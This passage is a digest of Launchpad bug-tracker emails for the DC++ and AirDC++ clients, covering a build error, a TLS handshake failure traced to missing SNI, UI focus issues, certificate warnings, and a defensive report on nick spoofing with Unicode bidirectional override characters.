  scons mode=release arch=x64
  scons: Reading SConscript files ...
  AttributeError: 'SConsEnvironment' object has no attribute 'SourceCode':
File "/home/txc/adchpp2/adcpp/SConstruct", line 220:
  env.SourceCode('.', None)[/b]

  
  [2022-05-12 20:13:28]  Removing completely line 220 in SConstruct 
works for now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1973268/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1952754] Re: [Hublist] tankafett[.]biz is no more a hublist

[eMTee]

** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952754

Title:
  [Hublist] tankafett[.]biz is no more a hublist

Status in AirDC++:
  New
Status in DC++:
  Fix Committed
Status in FlylinkDC++:
  New

Bug description:
  The website tankafett[.]biz is no more a hublist, it's now a adult
  tracker.

  You should delete from the hublist website list of your software

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1952754/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970416] Re: Focus isn't set properly at startup on some type of windows

[eMTee]

This has also affected other type of active windows restored upon
startup, such as the QueueFrame. Widgets marked having ALWAYS_FOCUS on
any window restored and set to active at startup couldn't be focused
since the main window is not visible yet at restoration time.

** Summary changed:

- Focus , on Write command
+ Focus isn't set properly at startup on some type of windows

** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970416

Title:
  Focus isn't set properly at startup on some type of windows

Status in DC++:
  Fix Committed

Bug description:
  No Focus on Writing bar in DC++
  Normally no mater when writing in DCC its suppose to focus on Write BAR 
  have to click on it to Write

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970416/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970416] Re: Focus , on Write command

[eMTee]

** Changed in: dcplusplus
   Status: Incomplete => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Low

** Changed in: dcplusplus
 Assignee: (unassigned) => eMTee (realprogger)

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970416

Title:
  Focus , on Write command

Status in DC++:
  Confirmed

Bug description:
  No Focus on Writing bar in DC++
  Normally no mater when writing in DCC its suppose to focus on Write BAR 
  have to click on it to Write

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970416/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970414] Re: Crash Dcc++ when add 'DescriptionRotator.dcext'

[eMTee]

It crashes for me when I try to edit an already added description.

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Low

** Summary changed:

- Crash Dcc++ when add 'DescriptionRotator.dcext'
+ Crash when 'DescriptionRotator.dcext' added

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970414

Title:
  Crash when 'DescriptionRotator.dcext' added

Status in DC++:
  Confirmed

Bug description:
  latest DC++ .871 Crash When Add the ADDON : DescriptionRotator.dcext
  its  Erase allready others Add-on on my DC++

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970414/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1970416] Re: Focus , on Write command

[eMTee]

It works when you switch to a hubframe tab manually; however, I can see there's 
no focus at all on the hubframe when it was in the foreground at the previous 
closure of the program and so it is restored as selected frame when you start 
DC++ next time.
If you mean that, no focus on the chat input bar of a hub tab put into the 
foreground right after the start of DC++ then I can confirm.

** Changed in: dcplusplus
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1970416

Title:
  Focus , on Write command

Status in DC++:
  Incomplete

Bug description:
  No Focus on Writing bar in DC++
  Normally no mater when writing in DCC its suppose to focus on Write BAR 
  have to click on it to Write

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1970416/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1965620] Re: Secure HTTP connection stopped working for certain servers, including sourceforge.io

[eMTee]

Fixed in DC++ 0.871.

** Changed in: dcplusplus
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1965620

Title:
  Secure HTTP connection stopped working for certain servers, including
  sourceforge.io

Status in DC++:
  Fix Released

Bug description:
  [2022-02-17 08:50]  I am getting TLS error accessing sf.io/version.xml 
and geoip files hosted there with DC++'s httpconnection. Do any of you? Web 
browsers seem to work well.
  [2022-02-17 09:33]  i get a tls error as well
  [2022-02-17 10:22]  Well, most of the old DC++ versions don't work 
anymore due to https/TLS 1.2+ requirement of sf but this is unexpected. If it 
isn't a bug at sf's side then we're in trouble.
  ...
  [2022-02-18 12:42]  For
  dcdebug("TLS error: call ret = %d, SSL_get_error = %d, ERR_get_error = %d\n, 
ERR_error_string = %s", ret, err, sys_err, _error.c_str());
  I get
  TLS error: call ret = -1, SSL_get_error = 1, ERR_get_error = 336151568, 
ERR_error_string = error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert 
handshake failure
  when connecting to sf.io
  [2022-02-18 12:42]  This is actually 
SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE in the OpenSSL defines list.
  ...
  [2022-02-18 15:53]  Well, SF is behind cloudflare so I thought it 
worth checking another cloudflare protected server. E.g. https://dcbase.org/ 
gives the same error. Wtf?
  [2022-02-18 19:15:10]  
https://stackoverflow.com/questions/36370656/solving-sslv3-alert-handshake-failure-when-trying-to-use-a-client-certificate
  [2022-02-19 08:36]  Yeah, I've seen that but wasn't sure how is it 
related to this problem. But yeah it can also be a certificate issue.
  [2022-02-19 08:40]  It must be some server configuration change, which 
happened along with a server sofware update or indeed new certs. 
  [2022-02-19 15:39]  It doesn't seem to be cloudflare related, either. 
I tried ~50 random domains, mix of web pages I frequently visit and the most 
known big tech, social and global media, streaming and IT manufacturer 
companies' homepages even ovh.com itself. Found 6 more stes that give the same 
error with DC++ but nothing much common in between them...
  [2022-02-19 15:41]  Sites I found not working with DC++ are: 
dcbase.org, www.espn.com, www.shutterstock.com, forums.mydigitallife.net, 
www.wsj.com, formula1.com and acer.com .
  [2022-02-19 15:48]  Whatever is this we possibly lost the upgrade nag 
feature of DC++ for all the recently released versions as well which will cause 
substantially less usage of any future releases for a longer period of time.
  ...
  [2022-02-23 16:41:53]  Checked AirDC++ with downloading 
sf.io/version.xml, it seems to work fine in it. So again, wtf.
  ...
  [2022-03-01 16:15:32]  
https://sourceforge.net/p/forge/site-support/23234/ shows a similar 
problem/error message to our issue. At least some more bits of information/log 
like how 'sslv3 alert handshake failure' can happen and also "What changed is 
now we are forwarding the sourceforge.io traffic through cloudflare."
  ...
  [2022-03-17 15:14:56]  Okay, so I started investigating myself the SSL 
issue. I started checking what AirDC++ has committed regarding crypto recently 
(https://github.com/airdcpp/airdcpp-windows/commits/master/airdcpp/airdcpp/CryptoManager.cpp
 ) and I think I found our problem. It is actually a standout in the commit 
list : 
https://github.com/airdcpp/airdcpp-windows/commit/5e4a58982efa3b1d0086a04601cff5fe027f6c26
  - [2022-03-17 15:16:55]  The openssl issue linked inside the committed 
code ( https://github.com/openssl/openssl/issues/7147 ) is perfectly fitting to 
the phenomenon what we see in DC++.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1965620/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1965620] Re: Secure HTTP connection stopped working for certain servers, including sourceforge.io

[eMTee]

The committed fix
https://sourceforge.net/p/dcplusplus/code/ci/5ffb7d83126d0ca6857c0f1e6fb4845653b65009/
is made to be probably the least invasive; it still mimics the logic of
how it's done in AirDC++ as it stricly sets tlsext_host_name only for
httpconnection and client outgoing connection attempts by saving the
hostname before it gets resolved to IP.

Other possibly cleaner ways to doing this are 
- sending the isURL parameter through the connect() members but that needs 
changes in the Socket class as well
- or maybe in place determine the address type in SSLSocket::connect() and save 
the hostname accordingly there
- or simply set tlsext_host_name to whatever comes in the address string and 
see whether it breaks other type of connections.


** Changed in: dcplusplus
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1965620

Title:
  Secure HTTP connection stopped working for certain servers, including
  sourceforge.io

Status in DC++:
  Fix Committed

Bug description:
  [2022-02-17 08:50]  I am getting TLS error accessing sf.io/version.xml 
and geoip files hosted there with DC++'s httpconnection. Do any of you? Web 
browsers seem to work well.
  [2022-02-17 09:33]  i get a tls error as well
  [2022-02-17 10:22]  Well, most of the old DC++ versions don't work 
anymore due to https/TLS 1.2+ requirement of sf but this is unexpected. If it 
isn't a bug at sf's side then we're in trouble.
  ...
  [2022-02-18 12:42]  For
  dcdebug("TLS error: call ret = %d, SSL_get_error = %d, ERR_get_error = %d\n, 
ERR_error_string = %s", ret, err, sys_err, _error.c_str());
  I get
  TLS error: call ret = -1, SSL_get_error = 1, ERR_get_error = 336151568, 
ERR_error_string = error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert 
handshake failure
  when connecting to sf.io
  [2022-02-18 12:42]  This is actually 
SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE in the OpenSSL defines list.
  ...
  [2022-02-18 15:53]  Well, SF is behind cloudflare so I thought it 
worth checking another cloudflare protected server. E.g. https://dcbase.org/ 
gives the same error. Wtf?
  [2022-02-18 19:15:10]  
https://stackoverflow.com/questions/36370656/solving-sslv3-alert-handshake-failure-when-trying-to-use-a-client-certificate
  [2022-02-19 08:36]  Yeah, I've seen that but wasn't sure how is it 
related to this problem. But yeah it can also be a certificate issue.
  [2022-02-19 08:40]  It must be some server configuration change, which 
happened along with a server sofware update or indeed new certs. 
  [2022-02-19 15:39]  It doesn't seem to be cloudflare related, either. 
I tried ~50 random domains, mix of web pages I frequently visit and the most 
known big tech, social and global media, streaming and IT manufacturer 
companies' homepages even ovh.com itself. Found 6 more stes that give the same 
error with DC++ but nothing much common in between them...
  [2022-02-19 15:41]  Sites I found not working with DC++ are: 
dcbase.org, www.espn.com, www.shutterstock.com, forums.mydigitallife.net, 
www.wsj.com, formula1.com and acer.com .
  [2022-02-19 15:48]  Whatever is this we possibly lost the upgrade nag 
feature of DC++ for all the recently released versions as well which will cause 
substantially less usage of any future releases for a longer period of time.
  ...
  [2022-02-23 16:41:53]  Checked AirDC++ with downloading 
sf.io/version.xml, it seems to work fine in it. So again, wtf.
  ...
  [2022-03-01 16:15:32]  
https://sourceforge.net/p/forge/site-support/23234/ shows a similar 
problem/error message to our issue. At least some more bits of information/log 
like how 'sslv3 alert handshake failure' can happen and also "What changed is 
now we are forwarding the sourceforge.io traffic through cloudflare."
  ...
  [2022-03-17 15:14:56]  Okay, so I started investigating myself the SSL 
issue. I started checking what AirDC++ has committed regarding crypto recently 
(https://github.com/airdcpp/airdcpp-windows/commits/master/airdcpp/airdcpp/CryptoManager.cpp
 ) and I think I found our problem. It is actually a standout in the commit 
list : 
https://github.com/airdcpp/airdcpp-windows/commit/5e4a58982efa3b1d0086a04601cff5fe027f6c26
  - [2022-03-17 15:16:55]  The openssl issue linked inside the committed 
code ( https://github.com/openssl/openssl/issues/7147 ) is perfectly fitting to 
the phenomenon what we see in DC++.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1965620/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1965620] [NEW] Secure HTTP connection stopped working for certain servers, including sourceforge.io

[eMTee]

Public bug reported:

[2022-02-17 08:50]  I am getting TLS error accessing sf.io/version.xml 
and geoip files hosted there with DC++'s httpconnection. Do any of you? Web 
browsers seem to work well.
[2022-02-17 09:33]  i get a tls error as well
[2022-02-17 10:22]  Well, most of the old DC++ versions don't work 
anymore due to https/TLS 1.2+ requirement of sf but this is unexpected. If it 
isn't a bug at sf's side then we're in trouble.
...
[2022-02-18 12:42]  For
dcdebug("TLS error: call ret = %d, SSL_get_error = %d, ERR_get_error = %d\n, 
ERR_error_string = %s", ret, err, sys_err, _error.c_str());
I get
TLS error: call ret = -1, SSL_get_error = 1, ERR_get_error = 336151568, 
ERR_error_string = error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert 
handshake failure
when connecting to sf.io
[2022-02-18 12:42]  This is actually SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE 
in the OpenSSL defines list.
...
[2022-02-18 15:53]  Well, SF is behind cloudflare so I thought it worth 
checking another cloudflare protected server. E.g. https://dcbase.org/ gives 
the same error. Wtf?
[2022-02-18 19:15:10]  
https://stackoverflow.com/questions/36370656/solving-sslv3-alert-handshake-failure-when-trying-to-use-a-client-certificate
[2022-02-19 08:36]  Yeah, I've seen that but wasn't sure how is it 
related to this problem. But yeah it can also be a certificate issue.
[2022-02-19 08:40]  It must be some server configuration change, which 
happened along with a server sofware update or indeed new certs. 
[2022-02-19 15:39]  It doesn't seem to be cloudflare related, either. I 
tried ~50 random domains, mix of web pages I frequently visit and the most 
known big tech, social and global media, streaming and IT manufacturer 
companies' homepages even ovh.com itself. Found 6 more stes that give the same 
error with DC++ but nothing much common in between them...
[2022-02-19 15:41]  Sites I found not working with DC++ are: dcbase.org, 
www.espn.com, www.shutterstock.com, forums.mydigitallife.net, www.wsj.com, 
formula1.com and acer.com .
[2022-02-19 15:48]  Whatever is this we possibly lost the upgrade nag 
feature of DC++ for all the recently released versions as well which will cause 
substantially less usage of any future releases for a longer period of time.
...
[2022-02-23 16:41:53]  Checked AirDC++ with downloading 
sf.io/version.xml, it seems to work fine in it. So again, wtf.
...
[2022-03-01 16:15:32]  
https://sourceforge.net/p/forge/site-support/23234/ shows a similar 
problem/error message to our issue. At least some more bits of information/log 
like how 'sslv3 alert handshake failure' can happen and also "What changed is 
now we are forwarding the sourceforge.io traffic through cloudflare."
...
[2022-03-17 15:14:56]  Okay, so I started investigating myself the SSL 
issue. I started checking what AirDC++ has committed regarding crypto recently 
(https://github.com/airdcpp/airdcpp-windows/commits/master/airdcpp/airdcpp/CryptoManager.cpp
 ) and I think I found our problem. It is actually a standout in the commit 
list : 
https://github.com/airdcpp/airdcpp-windows/commit/5e4a58982efa3b1d0086a04601cff5fe027f6c26
- [2022-03-17 15:16:55]  The openssl issue linked inside the committed 
code ( https://github.com/openssl/openssl/issues/7147 ) is perfectly fitting to 
the phenomenon what we see in DC++.

** Affects: dcplusplus
 Importance: High
 Status: Confirmed


** Tags: https sslsocket tls

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1965620

Title:
  Secure HTTP connection stopped working for certain servers, including
  sourceforge.io

Status in DC++:
  Confirmed

Bug description:
  [2022-02-17 08:50]  I am getting TLS error accessing sf.io/version.xml 
and geoip files hosted there with DC++'s httpconnection. Do any of you? Web 
browsers seem to work well.
  [2022-02-17 09:33]  i get a tls error as well
  [2022-02-17 10:22]  Well, most of the old DC++ versions don't work 
anymore due to https/TLS 1.2+ requirement of sf but this is unexpected. If it 
isn't a bug at sf's side then we're in trouble.
  ...
  [2022-02-18 12:42]  For
  dcdebug("TLS error: call ret = %d, SSL_get_error = %d, ERR_get_error = %d\n, 
ERR_error_string = %s", ret, err, sys_err, _error.c_str());
  I get
  TLS error: call ret = -1, SSL_get_error = 1, ERR_get_error = 336151568, 
ERR_error_string = error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert 
handshake failure
  when connecting to sf.io
  [2022-02-18 12:42]  This is actually 
SSL_R_SSLV3_ALERT_HANDSHAKE_FAILURE in the OpenSSL defines list.
  ...
  [2022-02-18 15:53]  Well, SF is behind cloudflare so I thought it 
worth checking another cloudflare protected server. E.g. https://dcbase.org/ 
gives the same error. Wtf?
  [2022-02-18 19:15:10]  
https://stackoverflow.com/questions/36370656/solving-sslv3-alert-handshake-failure-when-trying-to-use-a-client-certificate
  [2022-02-19 08:36]  

[Linuxdcpp-team] [Bug 1952607] Re: Improve TLS error messages

[eMTee]

We actually have a reason why these aren't displayed. See
https://sourceforge.net/p/dcplusplus/code/ci/86fb99c179b26740946abe87f1af190b8fcf24bc/tree/dcpp/SSLSocket.cpp#L185

However, this might worth a reconsideration and change to something or
exactly like what AirDC++ does in https://github.com/airdcpp/airdcpp-
windows/blob/bd9a1ce849ccde795d8b0d9c1fe3ebcfa4a7aea5/airdcpp/airdcpp/SSLSocket.cpp#L199

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952607

Title:
  Improve TLS error messages

Status in DC++:
  Confirmed

Bug description:
  DC++ displays a vague "TLS Error" most of the time e.g. when connecting to a 
hub with kp check and the hub cert is expired.
  At least printing some error strings OpenSSL likely has defined, in English, 
would be much more useful. Just like what we do with low level socket errors, 
where we print the error message what Windows offers, in the language of the 
current locale.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1952607/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1955007] Re: Classic: can't connect

[eMTee]

DC++ is working and has worked for millions in the last 20 years. Maybe 
sometimes not right out of the box but most who has the patience to figure out 
what can be the problem they succeed at the end.
Or they get help by providing useful information.
For example you say you connecting... to whom exactly? Hublists, hubs, users? 

** Changed in: dcplusplus
   Status: New => Invalid

** Converted to question:
   https://answers.launchpad.net/dcplusplus/+question/699887

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1955007

Title:
  Classic: can't connect

Status in DC++:
  Invalid

Bug description:
  Classic: impossible to connect with most "stable release" on win7 x64,
  installed & opened without issue.

  i have an unlimited connection on a sim in a wifi router
  nothing marsian that windows recognizes easily but not
  your application with a latest programation of 2021...

  talking about firewalls ? ive had zero issues with firewalls with all my 
applications (about 100),
  it never warned me, never popped up.

  result: even for a "modern" application updated a month ago, your dc++ is 
everything but user friendly
  & still can't achieve the main goal here, connecting..

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1955007/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1952754] Re: [Hublist] tankafett[.]biz is no more a hublist

[eMTee]

** Changed in: dcplusplus
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952754

Title:
  [Hublist] tankafett[.]biz is no more a hublist

Status in AirDC++:
  New
Status in DC++:
  Confirmed
Status in FlylinkDC++:
  New

Bug description:
  The website tankafett[.]biz is no more a hublist, it's now a adult
  tracker.

  You should delete from the hublist website list of your software

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1952754/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1952607] [NEW] Improve TLS error messages

[eMTee]

Public bug reported:

DC++ displays a vague "TLS Error" most of the time e.g. when connecting to a 
hub with kp check and the hub cert is expired.
At least printing some error strings OpenSSL likely has defined, in English, 
would be much more useful. Just like what we do with low level socket errors, 
where we print the error message what Windows offers, in the language of the 
current locale.

** Affects: dcplusplus
 Importance: Low
 Status: Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952607

Title:
  Improve TLS error messages

Status in DC++:
  Confirmed

Bug description:
  DC++ displays a vague "TLS Error" most of the time e.g. when connecting to a 
hub with kp check and the hub cert is expired.
  At least printing some error strings OpenSSL likely has defined, in English, 
would be much more useful. Just like what we do with low level socket errors, 
where we print the error message what Windows offers, in the language of the 
current locale.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1952607/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1952605] [NEW] Show a warning when connecting to a hub with expired certificate

[eMTee]

Public bug reported:

There's no any indication of this. Given that DC++ hasn't done anything
so far, nothing more aggressive is reasonable to do than show some
warning message. Also if a warning is shown then maybe hub owners also
act more likely.

** Affects: dcplusplus
 Importance: Low
 Status: Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1952605

Title:
  Show a warning when connecting to a hub with expired certificate

Status in DC++:
  Confirmed

Bug description:
  There's no any indication of this. Given that DC++ hasn't done
  anything so far, nothing more aggressive is reasonable to do than show
  some warning message. Also if a warning is shown then maybe hub owners
  also act more likely.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1952605/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1425276] Re: The Unicode mirror character and possibly other similar ones can be used for nick spoofing in ADC hubs

[eMTee]

** Attachment added: "This can be pasted into the Nick node of DCPlusPlus.xml, 
save and see the effect."
   
https://bugs.launchpad.net/dcplusplus/+bug/1425276/+attachment/5542075/+files/plain_ascii_format_of_spoofing_nick_used_for_test.txt

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1425276

Title:
  The Unicode mirror character and possibly other similar ones can be
  used for nick spoofing in ADC hubs

Status in AirDC++:
  Confirmed
Status in DC++:
  Confirmed

Bug description:
  Basically what's described at 
http://stackoverflow.com/questions/3115204/unicode-mirror-character used by 
some recent malware to trick with file extensions seems to be working for DC++, 
too. 
  See the attached screenshot. It produces various other funny effects 
throughout the DC++ interface where the nick is displayed alone or in 
conjunction with other text/data.

  For other possible problematic chars cologic suggests that anything in
  http://www.fileformat.info/info/unicode/block/general_punctuation/list.htm
  from U+2000 to U+206F inclusive is pretty suspect. Some look like they
  have legitimate use, though, (U+2030 to U+205E inclusive, for
  example). But, minimally, filtering out a few of the codepoints from
  that block: LEFT-TO-RIGHT OVERRIDE (U+202D), RIGHT-TO-LEFT OVERRIDE
  (U+202E), LEFT-TO-RIGHT EMBEDDING (U+202A), RIGHT-TO-LEFT EMBEDDING
  (U+202B),   POP DIRECTIONAL FORMATTING (U+202C), etc.

  Also here's a handy list of possible other suspects:
  http://kb.mozillazine.org/Network.IDN.blacklist_chars

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1425276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1425276] Re: The Unicode mirror character and possibly other similar ones can be used for nick spoofing in ADC hubs

[eMTee]

** Attachment added: "spoofing_airdc_sends_msg_to_dcpp.jpg"
   
https://bugs.launchpad.net/dcplusplus/+bug/1425276/+attachment/5542074/+files/spoofing_airdc_sends_msg_to_dcpp.jpg

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1425276

Title:
  The Unicode mirror character and possibly other similar ones can be
  used for nick spoofing in ADC hubs

Status in AirDC++:
  Confirmed
Status in DC++:
  Confirmed

Bug description:
  Basically what's described at 
http://stackoverflow.com/questions/3115204/unicode-mirror-character used by 
some recent malware to trick with file extensions seems to be working for DC++, 
too. 
  See the attached screenshot. It produces various other funny effects 
throughout the DC++ interface where the nick is displayed alone or in 
conjunction with other text/data.

  For other possible problematic chars cologic suggests that anything in
  http://www.fileformat.info/info/unicode/block/general_punctuation/list.htm
  from U+2000 to U+206F inclusive is pretty suspect. Some look like they
  have legitimate use, though, (U+2030 to U+205E inclusive, for
  example). But, minimally, filtering out a few of the codepoints from
  that block: LEFT-TO-RIGHT OVERRIDE (U+202D), RIGHT-TO-LEFT OVERRIDE
  (U+202E), LEFT-TO-RIGHT EMBEDDING (U+202A), RIGHT-TO-LEFT EMBEDDING
  (U+202B),   POP DIRECTIONAL FORMATTING (U+202C), etc.

  Also here's a handy list of possible other suspects:
  http://kb.mozillazine.org/Network.IDN.blacklist_chars

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1425276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1425276] Re: The Unicode mirror character and possibly other similar ones can be used for nick spoofing in ADC hubs

[eMTee]

Somehow our project lost control of this bug entry while AirDC++ added as 
affected, fortunately LP support helped to regain.
Now I can add a few screenshots of the test done that confirms AirDC++ 4.11 is 
affected. It behaves different in various areas than DC++, better in the user 
list, worse in the chat etc...
Anyway, this needs an universal solution.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1425276

Title:
  The Unicode mirror character and possibly other similar ones can be
  used for nick spoofing in ADC hubs

Status in AirDC++:
  Confirmed
Status in DC++:
  Confirmed

Bug description:
  Basically what's described at 
http://stackoverflow.com/questions/3115204/unicode-mirror-character used by 
some recent malware to trick with file extensions seems to be working for DC++, 
too. 
  See the attached screenshot. It produces various other funny effects 
throughout the DC++ interface where the nick is displayed alone or in 
conjunction with other text/data.

  For other possible problematic chars cologic suggests that anything in
  http://www.fileformat.info/info/unicode/block/general_punctuation/list.htm
  from U+2000 to U+206F inclusive is pretty suspect. Some look like they
  have legitimate use, though, (U+2030 to U+205E inclusive, for
  example). But, minimally, filtering out a few of the codepoints from
  that block: LEFT-TO-RIGHT OVERRIDE (U+202D), RIGHT-TO-LEFT OVERRIDE
  (U+202E), LEFT-TO-RIGHT EMBEDDING (U+202A), RIGHT-TO-LEFT EMBEDDING
  (U+202B),   POP DIRECTIONAL FORMATTING (U+202C), etc.

  Also here's a handy list of possible other suspects:
  http://kb.mozillazine.org/Network.IDN.blacklist_chars

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1425276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1425276] Re: The Unicode mirror character and possibly other similar ones can be used for nick spoofing in ADC hubs

[eMTee]

** Attachment added: "spoofing_dcpp_sends_msg_to_airdc.jpg"
   
https://bugs.launchpad.net/dcplusplus/+bug/1425276/+attachment/5542073/+files/spoofing_dcpp_sends_msg_to_airdc.jpg

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1425276

Title:
  The Unicode mirror character and possibly other similar ones can be
  used for nick spoofing in ADC hubs

Status in AirDC++:
  Confirmed
Status in DC++:
  Confirmed

Bug description:
  Basically what's described at 
http://stackoverflow.com/questions/3115204/unicode-mirror-character used by 
some recent malware to trick with file extensions seems to be working for DC++, 
too. 
  See the attached screenshot. It produces various other funny effects 
throughout the DC++ interface where the nick is displayed alone or in 
conjunction with other text/data.

  For other possible problematic chars cologic suggests that anything in
  http://www.fileformat.info/info/unicode/block/general_punctuation/list.htm
  from U+2000 to U+206F inclusive is pretty suspect. Some look like they
  have legitimate use, though, (U+2030 to U+205E inclusive, for
  example). But, minimally, filtering out a few of the codepoints from
